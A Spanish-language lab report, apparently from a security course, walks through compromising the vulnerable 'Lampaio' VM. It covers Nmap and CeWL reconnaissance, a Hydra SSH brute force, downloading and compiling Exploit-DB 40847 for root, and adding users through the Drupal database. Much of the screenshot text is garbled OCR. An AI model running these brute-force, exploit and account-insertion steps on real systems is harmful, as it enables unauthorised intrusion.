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Introduccion
En este informe se documenta el proceso de auditoria practica realizado sobre la maquina
objetivo Lampaio. El ejercicio incluye la importacion y configuracion de la méquina vulnerable,
labores de reconocimiento y escaneo de puertos, recopilacion de palabras para ataques por fuerza
bruta, explotacion de credenciales, escalada de privilegios locales, y finalmente la interaccion con

la aplicacion web (Drupal) para crear usuarios en la base de datos y comprobar el acceso.



Objetivos
Objetivo General
Realizar una auditoria sobre la maquina Lampaio para identificar huecos de acceso,
obtener credenciales validas, escalar privilegios en el sistema operativo y crear usuarios en la

aplicacion web alojada, documentando el proceso y los hallazgos.

Objetivos Especificos
Importar y configurar la méquina objetivo Lampaio en el entorno de laboratorio,
comprobando conectividad y asignacion de IP.
Realizar reconocimiento y enumeracion (escaneos Nmap, enumeracion web y generacion
de diccionario con CeWL) para identificar servicios, usuarios y posibles vectores de ataque.
Obtener acceso inicial a la maquina (credenciales validas por fuerza bruta o
descubrimiento) y escalar privilegios localmente mediante técnicas y exploits apropiados.
Acceder a la base de datos de la aplicacion (Drupal), crear dos cuentas de usuario en la

tabla users, verificar el inicio de sesion y documentar resultados y recomendaciones de seguridad.



Entorno

Se trabajé en un entorno controlado (maquina virtual Kali Linux en VirtualBox) con la
maquina objetivo Lampaio importada como VM vulnerable.

Las herramientas empleadas incluyeron: nmap, cewl, hydra, ssh, git, gcc/g++, LinEnum/,
mysql/mariadb, y utilidades estandar de Linux.

Desarrollo

Importacion y configuracion de Lampaio

Se import6 la maquina Lampaio en VirtualBox y se configuraron las redes necesarias para
que la VM atacante (Kali) y la méaquina objetivo estuvieran en el mismo segmento.

Hlustracion 1 Importacion de maquina virtual

TEVQ Metasploitable3-win2k8
Sy © Apagada

INDOWS_XP
'XF. ® Apagada

F

M Carpetas compartidas
N




Mlustracion 2 Configuracion de red

Sistema
Pantalla

Almacenamiento

=
a
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»
=
4
B e

Escaneo nmap

Una vez creada y configurada, se procede a realizar un escaneo desde Nmap donde se
identifica que:

Lampaio adquirio la ip 192.168.5.13

Tiene los siguientes puertos y servicios:

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http?

Se encuentra que el puerto 80 tiene un servicio que no se reconoce por lo que hay que

escanearlo con mayor detalle.
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Ilustracion 3 Primer escaneo

=
B omP O 3 [w DR S B0 -

yadsti@kaliyads: ~

Archivo Acciones Editar Vista Ayuda

x virtual

7 (Ubuntu Linux;

-bin/submit.cg

Luego se vuelve a escanear, pero esta vez solo escanea la maquina de lampaio nmap -p 1-
2000 192.168.5.13, con esto se escanean los puertos del 1 al 2000 y da como resultado:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 09:46 -05

Nmap scan report for 192.168.5.13

Host is up (0.00057s latency).

Not shown: 1997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh — servicio ssh

80/tcp open http — sitio web sencillo

1898/tcp open cymtec-port — sitio web con login

MAC Address: 08:00:27:F9:86:08 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds
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Inspeccion de direccion ip en navegador

Se ingresa a el navegador y se ingresa la direccion ip de lampaio para acceder al puerto 80, se

observa un sitio web sencillo.
Iustracion 4 Sitio web

I m PO 2 3 4|8 [] ulbiio o & Bo|a e

v

192.168.5.13/ X+
Q & 192168513

OffSec Kali Linux @& Kali Tools @ KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Luego se escanea el puerto 1898 y se observa una pagina con un login
Ademas, se encuentran unas publicaciones hechas por los siguientes usuarios:
e tiago
e Eder
e LuisGonzaga

e LampaioFalou
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Mlustracion 5 Sitio web lamapio - login
4
BemP ot

(2] e Lampiao

« C @

OffSec Kali Linux 8 Kali Tools

s X Kali Forums e Kali NetHunter

Exploit-DB % Google Hacking DB

Home

User login

Lampido, her6i ou vilao do Sertao?
Username * ubmits 25

by tiago on Thu, 04/10/2018
y

Password *

o Create new account
« Request new password
Login

Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da historia do Brasil, passou a
vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava, Conhega aqui sua trajetoria

Se intenta iniciar sesidon con €sos usuarios, pero no es satisfactorio.

[lustracion 6 Intento de login fallido

= ’ -
% Lampido

C @

OffSec Kali Linux & Kali Tc

» Kali Docs % Kali Forums ¢\ Kali NetHunter

Exploit-DB Google Hacking DB

Home

€+ Unable to send e-mail. Contact the site administrator if the problem persists
« Unable to send e-mail. Contact the site administrator if the problem persists,

o Thank you for applying for an account. Your account is currently pending approval by the site administrator.
In the meantime, a welcome message with further instructions has been sent to your e-mail address.

User login

Lampido, herdi ou vilao do Sertao?
Username *

Submitied by tiago en Thu, 04

s D0l
DO SERT

1

/2018 - 18:25

Después se procede a hacer un escaneo agresivo al puerto 22 y se obtiene la version del

servicio la que sera util para la busqueda de exploit con el comando nmap -p 22 192.168.5.13 -A

sC es un escaneo agresivo con scripts



llustracion 7 Escaneo agresivo

Reomk»

yadsti@kaliyads: ~
Archivo Acciones Editar Vista Ayuda

192 oft

rtin 7 ( ps

Nmap scan report for 192.1
Host is up (0.0015s 1

-11 09:58 -05

VERSION
OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linu

TRACEROUTE
HOP RTT

1 1.48 ms 192.168.5.13

05 and Service detection performed. Please report any incor nmap.org/submit
Nmap don 1 IP address (1 host up) scanned in 2.81 seconds

Busqueda de exploits msfconsole

Se ingresa a la consola de metasploitable framework
Los exploits que aparecen son para Windows por lo tanto no sirven.
llustracion 8 Busqueda de exploits msfconsole

]

root@kaliyads: fhomefyadisti

Archivo Acciones Editar Vista Ayuda

299 auxiliary - 432 post
49 encoders - 13 nops

Documentation: https metasploit

ch OpenSSH

Disclosure

Description

post/windous rwar 5 : SSH Agent Requests To Remote P
post /windows, 11 . nor! 11 BpeRSSH for windc
post/multi, . o 1ti Gather OpEASSH PKI
Username Enumeration
Malformed Packet . . 1 Use a malformed t
Timing . ) ; Use a timing attack
ndows/local/unquoted_service_path 2001-10-25 windows Unquoted Service Path Privilege Escalation

ssh/ssh_enumusers normal

Interact with a module by name or index. For example




14

Enumeracion y recoleccion de palabras claves del sitio
Se procede a crear un diccionario de toda la pagina con el siguiente comando cewl
http://192.168.5.13:1898/ --write DicLampaio.txt, este comando lo que hace es escribir todo el

contenido de la pagina en un diccionario
[lustracion 9 Creacion de diccionario palabras de sitio web

D¢ a Boos| & G
root@kaliyads: home/yadsti

Archivo Acciones Editar Vista Ayuda

Matching Modules

ription

normal Forward SSH Agent Requests To Remote Pageant
normal Install DpERSSH for Windows
‘ normal Op&iSSH PKI Credentials Collection
auxiliary, 5 normal name Enumeration
\_ action ormed Packet 5 4 5 Use a malformed packe

\_ action: Timing Attack Use a timing attack

6 exploit/windows/local/unquoted_service_path 2001-10-25 ( windows Unquoted Service Path Privilege Escalation

Interact with a module by name or index. For example
msf6 > exit

/home/yadsti
http://192.168.5.13:1898/ ite DiclLampaio.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robinadigi.ninja) (https:// .ninja/)

/home/yadsti

total 300
19 yadsti yadsti
-x 3 root root
- 1 yadsti yadsti 5:25 abfVbsTg.html
- 1 yadsti yadsti 20 jul 2 .bash_logout
- 1 yadsti yadsti 2 :10 .bashrc
- 1 yadsti yadsti 3! 23 H .bashrc.original
13 yadsti yadsti
2 yadsti yadsti
druxr-xr-x 15 yadsti yadsti

Eso genera un archivo con 844 palabras que se pueden utilizar en ataques de fuerza bruta.

Ilustracion 10 Diccionario creado

root@kaliyads: /home/yadsti

1

/home/yadsti

/home/yadsti
DicLampaio. txt
ampaio. txt

/home/yadsti
DicLampaio. txt
icLampaio. txt

/home/yadsti
DicLampaio.txt

844 Diclampaio.txt
/home/yadsti
Esp

2 ) &
A W
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Fuerza bruta (Hydra)
Luego se utiliza el service Hydra para hacer una comparacion de posibles usuarios y
contrasefias en base al diccionario generado, con el usuario Eder no se obtiene contrasefia.

llustracion 11 Hydra Eder

Ed
SeompPoi-|:

root@kaliyads: /homelyadsti

Archivo Acciones Editar Vista Ayuda

FILE colon separated "login:pass” format, instead of -L/ optio

FILE list of servers to at , one entry per line, to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)

service module usage details

-m OPT options specific for a module, see -U output for information
-h more command line options ( PLETE HELP)
server  the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below supported protocols)
OPT some service modules support additional imput (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head| p[s1-{get|post}-form http-proxy http-proxy-urlenum
icq imap[s] 1dap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener or. sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis r
exec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp soc shkey svn teamspeak telnet[s] vmauthd vnc xmpp

ess/crack valid login/password pai
AGPL v3.0. The new e always available at;
om/vanhauser-thc/thc-hyd
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wi and non-binding - most such people do not care about
laws and ethics anyway - and tell themse they are one of the good ones.)

Example: hydra -1 user -P passlist.txt ftp://192.168.0.1

[1] + exit 255 ra
/home/yadsti
Eder DicLampaio.txt ssh://192.168.5.13
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret vice organizations, or for illegal purposes (this is non-binding, th
ese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 1 54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[DATA] max 16 tasks per 1 se overall 16 tasks, 844 login tries (1:1/p:844), ~53 tries task

[DATA] attacking ssh://192.168.5

Se continua con tiago y se obtiene lo siguiente:
[22][ssh] host: 192.168.5.13 login: tiago password: Virgulino
Mlustracion 12 Hydra tiago

Fd
N omp agoz|ac

root@kaliyads: fhomefyadsti

Archivo Acciones Editar Vista Ayuda
ra v9.5 (c) 2023 by van Hauser/THC & David Maciejak e do not use in military or secret service organizations, or for illegal purposes (this is non-binding, th
*** ignore laws and ethics anyway).

ttps://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-11 10:1
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &4
[DATA] max 16 tasks per 1 verall 16 tasks, login tries (1:1/p:844), ~53 tries per task
[DATA] attacking ssh:// /

[STATUS] 295.00 tries/min, 295 tries in 552 to do in 00 13 act

STATUS] 281.00 tries/min, 562 tries 0

[STATUS] 67 tries/min,

1 of 1 target completed, 0 valid passw

[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected

r-thc/thc-hydra) finished at 2025-09-11 10:20:09

/home/yadsti
tiago DicLampaio.txt ssh 13
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, t

ese ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) startin
[WARNING] Many SSH configurations limit the number of paralle sks, it is recommended to
[DATA] max 16 task r 1 server rall 16 tasks,
[DATA] attac g 6
][ssh] host: 192. 3 login password: Vi
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final er threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] @ target did not complete

/home/yadsti
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Prueba de credenciales y acceso SSH
Con esas credenciales se ingresa por SSH y se accede al sistema como se evidencia a
continuacion.

llustracion 13 Ingreso SSH

92. . 9 13)' % tablished.
ED25519 rpr S GGWOASY jbhMycAKiglcXc v 9bQ ’s8.
This key is not known by any other nam
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ning: Permanently add '192.168.5.13" (ED25519) to the list of known hosts.
tiago@192.16: .13's password

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information disabled due to load higher than 1.0

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiagodlampia:

Se verifica la direccion ip para confirmar que si es la de lampaio.

llustracion 14 Confirmacion ip acceso SSH

[P O] [ A fou|la e
tiago@lampiao: ~
Archivo Acciones Editar Vista Ayuda
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux &4.4.0-31-generic i

* Documentation: http elp.ubuntu.com/
System information disabled due to load higher than 1.0

Last login: Fri Apr 20 14:40:55 20 from 1! 168.108.1
tiagoa@lampia ipconfig
No command ‘ipconf found, did you mean:
Command ‘ifconfig’ from package ‘net-tools’ (main)
Command * f rom pack ‘tpconfig' (universe)

f ‘wireless-tools' (main)

dropped:0 ove:
9 dropped:0 ov
collisions:0 txqueuelen:1000

Link enca

inet addr

inet6 addr :1/

UP LOOPBACK RUNNING

dro ped:@ overruns:Q ca
queuelen:1
.2 KB) TX bytes:3248 (3.2 KB)

tiago@lampia:

Herramienta LinEnum
Se buscé y clond el repositorio de herramientas de enumeracion (LinEnum) para

automatizar la biisqueda para escalar privilegios.
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llustracion 15 Busqueda LinEnum

@© LinEnum - BuscarconGo X ) GitHub - rebootuser/L

08 google.com

OffSec Kali Linux @ KaliTools  KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

GOOgle LinEnum ) @ i

Sugerencia

para filtrar pc

@ GitHub
tps://githut

Se clona el repositorio, con el fin de tener el script de la herramienta.

Ilustracion 16 Clonacion de herramienta

Ed

BRe@mPo- |
; yadsti@kaliyads: ~
Archivo Acciones Editar Vista Ayuda

from 1)

Una vez clonado se utiliza el comando Is para verificar que el repositorio se clond
satisfactoriamente y para conocer su ruta.

Ilustracion 17 Ruta LinEnum

abfvbsTg.html DicLampaio.txt

LinEnum
~/LinEnum

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

~/LinEnum

Se selecciona el directorio y se revisa el contenido del archivo LinEmun.sh que es el que
contiene el script para revisar sus funciones y funcionamiento de este, ademas por si hay que

hacer alguna modificacion de algin parametro.
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llustracion 18 Inspeccion LinEnum

ST XJaBE @ oo aBuos|ac

yadsti@kaliyads: ~/LinEnum

Archivo Acciones Editar Vista Ayuda
GNU nano 8.4 LinEnum.sh

version="version 0.982"

i\ e [00m"

on\e[00m\n

./LinEnum, sk 0 00m\n"

"OPTIONS:
Enter keyword
Enter export location
supply user password for
Include

limited scans/no output

e [0on” I

header

[ Ayuda g Guardar G Buscar R cortar jecutar Ubicacion r Poner marca A llave Anteri
Bl salir i Leer fich. @ Reemplazar ] Pegar Ir a linea eha Co Buscar atr i

Escalada de privilegios

Luego se regresa a Lampaio para verificar la ruta del usuario creado y sus permisos.

llustracion 19 Inspeccion de ruta de usuario

LI X JaB R 04 | @ o
F tiago@lampiao: /etc
Archivo Acciones Editar Vista Ayuda

tiago: command not found
@lampiao:~$ sudo -1
[sudo] password for tiago:
, user tiago may not run sudo on lampiao.
tiago@lampiao:~$
tiago@lampiao: /home:

tiago@lampiao:/home$ cd tiago
tiago@lampiao:~$ 1s

tiago@lampiao:

total 36

drw ti tiago 4096 Apr 20
dr root root 4096 Apr
drwx tiago tiago 4096 Apr

v tiago tiago Apr 2
tiago tiago 220 Apr 8 .bash_logout
tiago tiago 3 Apr 19 8 .bashrc

2 tiago tiago 4096 Apr
tiago tiago 675 Apr 19 2018 .profile
root root 577 Apr 19 2018 .viminfo

h_hi

: home:
tiago@lampiao:~$ cd /home
tiago@lampiao:/home$ 1s -la

e or directory

3 root root 4096 Apr 19 2018
21 root root 4096 Apr 19 2018
4 tiago tiago 4096 Apr 20 2018
tiagoalampiao cd

Se revisa el archivo etc/passwd con el fin de encontrar informacién que sea de ayuda.



llustracion 20 Inspeccion archivo passwd

Rempe

: Jetc

Archivo Acciones Editar Vista Ayuda

/bin/bash
nologin

bin/nologin

in/nologin

Una vez se conoce informacion de usuarios como Tiago, root, Daemon, entre otros se
procede a descargar un exploit o herramienta que ayudara con la escalada de privilegios y

permisos. Utilizando los siguientes comandos:

wget https://www.exploit-db.com/download/40847 -O privilegios.cpp

scp privilegios.cpp tiago@192.168.5.13:/home/tiago/ - se envia el archivo a lampaio

Mlustracion 21 Descarga y envio de exploit a lampaio

gl |

O (genmonxxx 4 A 1034 | @ &
& .

Session Acciones Editar Vista Ayuda Captura de pantalla tomada
/home/yadsti
X om/download/40847 -0 privilegio:
exploit-db.com/download/408t

192.12 >

S conectase |

i6n HTTP
Longitud: no icado [application/
Grabando a: «privilegios.cpp»

privilegios.cpp [ = 28K en 0,035

2025-09-25 10:31:47 (368 KB/s) - «privilegios.cpp» guardado [10531]

/home/yadsti

abfvbsTg.html Diclampaio.txt

/home/yadsti
privilegios.cpp tiago@192.168.5.13:/home/tiago/
tiago@192.168.5.13"s password:
Drivers TP-... privilegios.cpp 100% 10KB 2.5MB/s  ©00:00

/home/yadsti

mirrorscrip...
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Luego se procede a enmascarar el ejecutable y adicionarle los permisos correspondientes,

para posteriormente ejecutar el exploit que este contiene con el siguiente comando:

=

MiFTorscrip...

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o privilegios privilegios.cpp -lutil
El exploit fue satisfactorio y ahora se opera dentro del sistema como usuario root.

llustracion 22 Escalada de privilegios

O (genmon) a &

4 |

B root@lampiao: ~
Session Acciones Editar Vista Ayuda
root@kaliyads: /nome/yadsti B root@lampiao: ~
System information as of Thu

0.06

7.5% of 19.0768

-std=c++11 -pthread -o

su prompt (P;

rootalam
oot@lampi
@lampiao

a0:~# echo

Vi P @ W E TS @ 0 AT DERECH]

Creacion de usuarios

Con privilegios de root se procede con la creacion de dos usuarios. Usuario optimus y usuario

prime.

%

Tlustracion 23 Creacion de usuarios

Archivo  Maquina Ver Entrada Dispositivos Ayuda

LY
-

Carpetape..

MIrrorscrip...

m PO 2 3 4

a ¢
root@lampiao: ~
Session Acciones Editar Vista Ayuda
root@kaliyads: /home/yadsti B  root@lampiac: ~ B

root@lampias

Adding
Adding new
(1001) with

/home/optimus’ ..
1 e

r “optimus’ optimus

irectory

default

Work Phone
Home Phone
Other []:
information
mpiao:~# add
Adding user “prim
Adding new group “prim )

? [¥/nl y
prime

Is the

with group “prime’ ...
/prime’

ter new UNIX pa:
X p

r prime

passwd: pas
Changing the n fo
ess ENTER for the default

Enter the new
Full
Room Numb:

. 63 3 ALT DERECHA|
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Inspeccion de directorio sitio web

Luego de crear los usuarios, se procede a escalarle privilegios y permisos. Se procede a
explorar el directorio donde estd almacenado el sitio web con el fin de encontrar informacion que
permita la creacion de nuevos usuarios para el sitio, insertdndolo en la base de datos. Se navega a
var/www/html/sites/default y ahi encuentra el archivo settings.php el cual contiene
informacion importante de la base de datos.

[lustracion 24 Inspeccion de directorio

Archivo Maquina Ver Entrada Dispositivos Ayuda
BEmEPRori-| 2 3 4|0 [ (genmon)XXX 4) A 1050 | @ &

>
root@lampiao: fvar/wwwihtml/sites/default

Session Acciones Editar Vista Ayuda

root@kaliyads: /home/yadsti M  root@lampiao: /var/www/htmUsites/default &

C HT. tx
cron. php

index. ph
INSTA

ult# cat settings.php

ific configuration file.

it again after ing
ns to this file is a

Mirrorscrip...

En el recuadro rojo se encuentra la sintaxis o estructura que deberia tener la configuracion
de conexion a la base de datos. Mientras que en el recuadro amarillo se encuentra la informacion

real de la conexion a la base de datos.
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llustracion 25 Revision archivo settings

2
Archivo Maquina Ver Entrada Dispositivos Ayuda

BeomPor]| 2

root@lampiao: fvar/www/htmU/sites/defoult
f — N\ Session Acciones Editar Vista Ayuda
root@kaliyads: /home/yadsti B root@lampiao: var/www/html/sites/default ¥

Carpeta pe...

= array(

ult ][ default ] = array(
ite’
path/to/databasefilename’,

MirForscrip...

Teniendo esta informacion se observa que la base de datos esta alojada en MySQL, la
base de datos se llama drupal, el usuario es drupaluser, la contrasefia es Virgulino y esta en el
localhost.

Con esta informacidn se procede a iniciar sesion en MySQL para inspeccionar la base de

datos y crear los usuarios.

llustracion 26 Inicio de sesion MySQL

Archivo Maquina Ver Entrada Dispositi
S emmPor-|

root@lampiao: /var/www/html/sites/default

Session Acciones Editar Vista Ayuda

word: YES)

Enter pas

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MysQL connection id is 3
Server version: 5.5.50-Oubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
is a registered trademark of Oracle Corporation and/or its

tes. Other names may be trademarks of their respective
ouners.

Type ‘help;’ or ‘\h' for help. Type '\c' to clear the current input statement.

Se observa que hay dos bases de datos, la de MySQL por defecto y drupal. Se selecciona

drupal y se revisan sus tablas.



Tlustracion 27 Revision de base de datos

Fd
Archivo Maquina Ver Entrada Dispositivos  Ayuda

B EmPoO-| 2

S
,ﬁ""—” \;’
Carpetape... php*fevel

)

v

mirrorscrip...

root@lampiao: /var/www/html/sites/default
Session Acciones Editar Vista Ayuda
root@Kkaliyads: /home/yadsti B root@lampiao: var/www/htmU/sites/default ¥

—_—
73 rows in set (0.00 sec)

y SHOW DATABAS
Da

information_sc
drupal

m
|
+
|
|
2

rows in set (0.00 sec)

mysql> USE drupal;
e changed
mysql> SHOW TABLES;

actions
authmap

batch

block
block_custom
block_node_type
block_role
blocked_ips

che_block
cache_bootstrap
_fiel
_filter
he_form

| & &

80T @ WE LS 6 0 AT DERECHA

La tabla que interesa es users, se procede a describir su estructura para revisar que

campos se necesitan para crear los usuarios.

llustracion 28 Descripcion tabla users

4

mirrorscrip.

Luego se inspecciona para ver que hay en ella y se encuentran 4 registros, que son los

root@lampiao: fvar/www/html/sites/default
Session Acciones Editar Vista Ayuda
root@kaliyads: /| M root@lampiao: fvar/www/htmU/sites/default B

238 et (0.00 sec)
mysql> DESCRIBE Si
Field Type

uid

name
pass
mail

varchar(2
int(11)
int(11)
int(11)
tinyint(4)
var 32)
int(11)
varchar(
longblob

sec)

usuarios que pueden ingresar al sitio.

O (genmon)XXX

>

afno|la c
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Tlustracion 29 Usuarios existentes

Archivo  Maquina Ver Entrada Dispositivos Ayuda

OF]|

root @lampias

Session Acciones Editar Vista Ayuda

root@lampliao: fvar/www/html/sites/default B

mysql
E R 6 (4 T ry doesn't
mysql

]
ol | NULL
| $s$oNZS01k/ gt JviPaNL40kHK 0ENOALpMTATIY
| filtered_html | 15 |
] | lamp
vPmvg fu
| filtered_html
I 0 | ede
hPX7GtduwWHN7 Fk

4 rows in set (0.00

mysql

Creacion de usuarios

Se insertan los dos usuarios en la tabla.

arfwww/html/sites/default

[lustracion 30 Creacion de usuarios

Archive Maquina Ver Entrada Dispositivos Ayuda

JaPE

root@lampiac: jvar/www/html/sites/default

Session Acciones Editar Vista Ayuda
root@kaliyads: | B root@lamplao: fvar/www/html/sites/default ¥

+
| uid | name

|

| theme |
timezone
S —

JPQN14@kHKw

g

iltered_html | 1524166911 |
o | o@lampiao.

i7okjmviImnvemy

| Ll
K@TzBsWO1A0QoFjPrRSGD y I
I 1

mysql> _

Ahora se procede a verificar que si se pueda iniciar sesion.

| 1

prime@prime.com
[

o |

genmon)XXX

9 §3 [ ALT DERECHA|

. 6 0 ALT DS
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1lustracion 31 Inicio sesion optimus

4
Archivo Maquina Ver Entrada Dispositivos Ayuda
R i d (genmon)XX ) A [ 1

5]

v

9
Kali Linux # Kali Tools ¢ KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

User log » e oo =
=k Lampido, herdi ou vildo do Sertdo?

Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
optimus.

Password *

L]

* Create new account

« Request new password

Login Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histdria do Brasil, passou a

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetria.

Read more  Login or r

fer to post comments

First article...
ted by E

Just testing.

79, 3 B3 ALT DERECHA|

llustracion 32 Inicio de sesion optimus exitoso

Maquina Ver Entrada Dispos

nmPo 2 ‘ O (genmonx 4

OffSec Kali Linux #8 Ka 2 K s Google Hacking DB

My account  Log out

Home
Home
optimus
View Edit
History

Member for

15 min 47 sec

. €3 03 ALT DERECHA
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Ilustracion 33 Comentario optimus

rchivo Maquina Ver Entrada Dispositivos Ayuda
amPoO-]

[ (genmon)XXX 4 A 11:46
% Lampido, herdi ou vildo

C @ O & 192.168.5.13
OffSec  KaliLinux g KaliTools

» KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB

Google Hacking DB
Morte Repentina

Ha duas versdes para a morte de Lampido. Na primeira, o lider era surpreendido pela policia e morto quase sem resisténcia — o que é pouco provavel, ja
que o cangaceiro é conhecido pelos embates duros. Acima, a segunda — e mais provavel — verso de sua morte,
Sem pé nem cabega

Onze cangaceiros morreram na grota de Angico, um lugar considerado uma “ratoeira” por outros cangaceiros. Suas cabegas foram cortadas e fotografadas

pelos soldados para comprovar a derrota do famoso lider. Os policiais fizeram um desfile, com as cabegas dentro de latas de querosene, por diversas
cidades do Nordeste, inclusive Macei6 e Piranhas.

Comments

optimus .

Thu,

- PRueba

FIRmaslasada

reply

Add new comment
Your name optimus

Subject

43 3 ALT DERECHA]

[lustracion 34 Inicio sesion prime

7
Archivo Maquina Ver Entrada Dispositivos Ayuda
B omP o

jenmon)XXX ) A
B | % Lampido B+

<« C @ O & o+ 192168513

OffSec Kali Linux @ KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

Home

User | oo o i =
s Lampido, heréi ou vildo do Sertao?

Username *

Subr 0 on 04/19/2018 - 18:25

prime

Password *

« Create new account

« Request new password

Login Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conheca aqui sua trajetdria.

Read more Login

43 0 ALT DERECHA|
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Tlustracion 35 Inicio de sesion exitoso prime

O afnss | a e

‘e prime | Lampido

c @

OffSec Kali Linux N Kali Forums &\ Kali NetHunter Exploit-DB Google Hacking DB

My account  Log out

Home
Home
prime
View Edit

History
Member for

14 min 40 sec

Mlustracion 36 Comentario prime

| O (genmonxxx ) M 47 | & G

Bl Ceptura de pantallatomada
-

OffSec Kali Linux N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

cidades do Nordeste, inclusive Maceid e Piranhas.

Comments
optimus

™y,

PRueba

FIRmaslasada

$1 ime new
hu
Prueab2
dddssdsa

reply

Add new comment
Your name prime

Subject

1% /. 63 0 ALT DERECHA

Finalmente, el inicio de sesion es satisfactorio para los dos usuarios creados,
adicionalmente se hacen comentarios en la publicacion del sitio y como se evidencia los usuarios

son publicados correctamente.
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Conclusion
La préctica permiti6 aplicar un flujo completo de auditoria en un entorno controlado:
reconocimiento, recoleccion de informacion, generacion de diccionarios a partir de contenido
real, ataques de fuerza bruta dirigidos, acceso inicial, enumeracion local, y explotacion para
escalada de privilegios. El hallazgo principal es que configuraciones desactualizadas (servicios y
kernels antiguos), combinadas con informacién publica en la web y credenciales predecibles,

facilitan la intrusion y la elevacion de privilegios.
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